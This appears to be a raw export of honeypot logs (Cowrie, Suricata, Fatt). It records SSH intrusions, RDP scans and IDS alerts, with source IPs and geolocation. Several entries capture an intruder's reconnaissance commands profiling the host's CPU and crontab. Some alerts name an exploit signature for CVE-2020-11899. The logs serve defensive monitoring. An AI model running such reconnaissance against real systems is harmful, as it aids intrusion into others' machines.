35391	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 15:08:47.109176+03	2021-09-20 15:15:03.20072+03	{"_id": "AgYbA3wBvYTbRNuE01wk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.60.208.43:59482 (192.168.176.2:22) [session: a97dd46c501c]", "session": "a97dd46c501c", "@version": "1", "protocol": "ssh", "src_port": 59482, "dest_port": 22, "timestamp": "2021-09-20T12:08:47.109176Z", "@timestamp": "2021-09-20T12:08:47.109Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	BY
35392	176.60.208.43	109.199.241.180	Suricata	2021-09-20 15:08:47.209478+03	2021-09-20 15:15:03.201726+03	{"_id": "AwYbA3wBvYTbRNuE1FxG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "flow_id": 878522571640841, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59482, "dest_port": 22, "timestamp": "2021-09-20T12:08:47.209478Z", "@timestamp": "2021-09-20T12:08:47.209Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	BY
35393	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:08:46.943532+03	2021-09-20 15:15:03.203735+03	{"_id": "BAYbA3wBvYTbRNuE1FxG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:46.943532+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246624548268, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:08:46.943532Z", "@timestamp": "2021-09-20T12:08:46.943Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
35394	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:08:46.943532+03	2021-09-20 15:15:03.204691+03	{"_id": "CQYbA3wBvYTbRNuE1FxG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:46.943532+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246624548268, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:08:46.943532Z", "@timestamp": "2021-09-20T12:08:46.943Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
35395	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:08:47.815152+03	2021-09-20 15:15:03.20572+03	{"_id": "BwYbA3wBvYTbRNuE1FxG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:46.943532+0000", "pkts_toclient": 0, "pkts_toserver": 5, "bytes_toclient": 0, "bytes_toserver": 470}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246624548268, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:08:47.815152Z", "@timestamp": "2021-09-20T12:08:47.815Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
35396	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:34.809364+03	2021-09-20 15:15:03.206692+03	{"_id": "swYbA3wBvYTbRNuEpFs-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:34.809364Z", "@timestamp": "2021-09-20T12:08:34.809Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
35397	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:35.226341+03	2021-09-20 15:15:03.20769+03	{"_id": "uAYbA3wBvYTbRNuEpFs-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "159.253.30.249", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.11577343940734863, "duplicate": true, "timestamp": "2021-09-20T12:08:35.226341Z", "@timestamp": "2021-09-20T12:08:35.226Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
45331	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:44:05.036152+03	2021-09-20 16:45:02.80759+03	{"_id": "yAZzA3wBvYTbRNuEFKzl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:44:05.036152Z", "@timestamp": "2021-09-20T13:44:05.036Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35399	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:35.411869+03	2021-09-20 15:15:03.210689+03	{"_id": "tgYbA3wBvYTbRNuEpFs-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:35.411869Z", "@timestamp": "2021-09-20T12:08:35.411Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35400	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:08:16.000507+03	2021-09-20 15:15:03.211689+03	{"_id": "uQYbA3wBvYTbRNuEpVtb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:07:14.859862+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 57580369092310, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 52433, "timestamp": "2021-09-20T12:08:16.000507Z", "@timestamp": "2021-09-20T12:08:16.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
35401	61.133.192.126	109.199.241.180	Fatt	2021-09-20 15:08:35.889292+03	2021-09-20 15:15:03.21269+03	{"_id": "uwYbA3wBvYTbRNuEpltj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 61582, "dest_port": 3389, "timestamp": "2021-09-20T12:08:35.889292", "@timestamp": "2021-09-20T12:08:35.889Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	CN
35402	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:35.745526+03	2021-09-20 15:15:03.213726+03	{"_id": "wQYbA3wBvYTbRNuEqFsl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:35.745526Z", "@timestamp": "2021-09-20T12:08:35.745Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
35403	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:08:35.921393+03	2021-09-20 15:15:03.21472+03	{"_id": "yAYbA3wBvYTbRNuEqVtF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:35.561764+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 1646391856435812, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 61582, "timestamp": "2021-09-20T12:08:35.921393Z", "@timestamp": "2021-09-20T12:08:35.921Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
35409	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:34.667384+03	2021-09-20 15:15:03.22269+03	{"_id": "twYbA3wBvYTbRNuEpFs-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "159.253.30.249", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.2520005702972412, "duplicate": true, "timestamp": "2021-09-20T12:08:34.667384Z", "@timestamp": "2021-09-20T12:08:34.667Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
35404	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:08:36.240231+03	2021-09-20 15:15:03.21672+03	{"_id": "yQYbA3wBvYTbRNuEqVtF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:35.561764+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1646391856435812, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 61582, "dest_port": 3389, "timestamp": "2021-09-20T12:08:36.240231Z", "@timestamp": "2021-09-20T12:08:36.240Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
35405	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:37.564808+03	2021-09-20 15:15:03.217696+03	{"_id": "2wYbA3wBvYTbRNuEr1v3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:37.564808Z", "@timestamp": "2021-09-20T12:08:37.564Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35406	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:08:38.291248+03	2021-09-20 15:15:03.218719+03	{"_id": "3QYbA3wBvYTbRNuEsVsW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:38.104859+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "87.251.67.120", "flow_id": 2757264578971, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 9614, "timestamp": "2021-09-20T12:08:38.291248Z", "@timestamp": "2021-09-20T12:08:38.291Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
35407	87.251.67.120	109.199.241.180	Suricata	2021-09-20 15:08:38.365463+03	2021-09-20 15:15:03.219719+03	{"_id": "4AYbA3wBvYTbRNuEsVsX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:38.104859+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2757264578971, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 9614, "dest_port": 3389, "timestamp": "2021-09-20T12:08:38.365463Z", "@timestamp": "2021-09-20T12:08:38.365Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	MD
35408	87.251.67.120	109.199.241.180	Fatt	2021-09-20 15:08:38.17951+03	2021-09-20 15:15:03.221692+03	{"_id": "4gYbA3wBvYTbRNuEslse", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "src_ip": "87.251.67.120", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 9614, "dest_port": 3389, "timestamp": "2021-09-20T12:08:38.179510", "@timestamp": "2021-09-20T12:08:38.179Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	MD
35410	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:34.80992+03	2021-09-20 15:15:03.223691+03	{"_id": "tAYbA3wBvYTbRNuEpFs-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:34.809920Z", "@timestamp": "2021-09-20T12:08:34.809Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35411	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:35.746076+03	2021-09-20 15:15:03.224691+03	{"_id": "wgYbA3wBvYTbRNuEqFsl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:35.746076Z", "@timestamp": "2021-09-20T12:08:35.746Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35412	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:36.016661+03	2021-09-20 15:15:03.22669+03	{"_id": "wwYbA3wBvYTbRNuEqFsl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "159.253.30.249", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.271223783493042, "duplicate": true, "timestamp": "2021-09-20T12:08:36.016661Z", "@timestamp": "2021-09-20T12:08:36.016Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
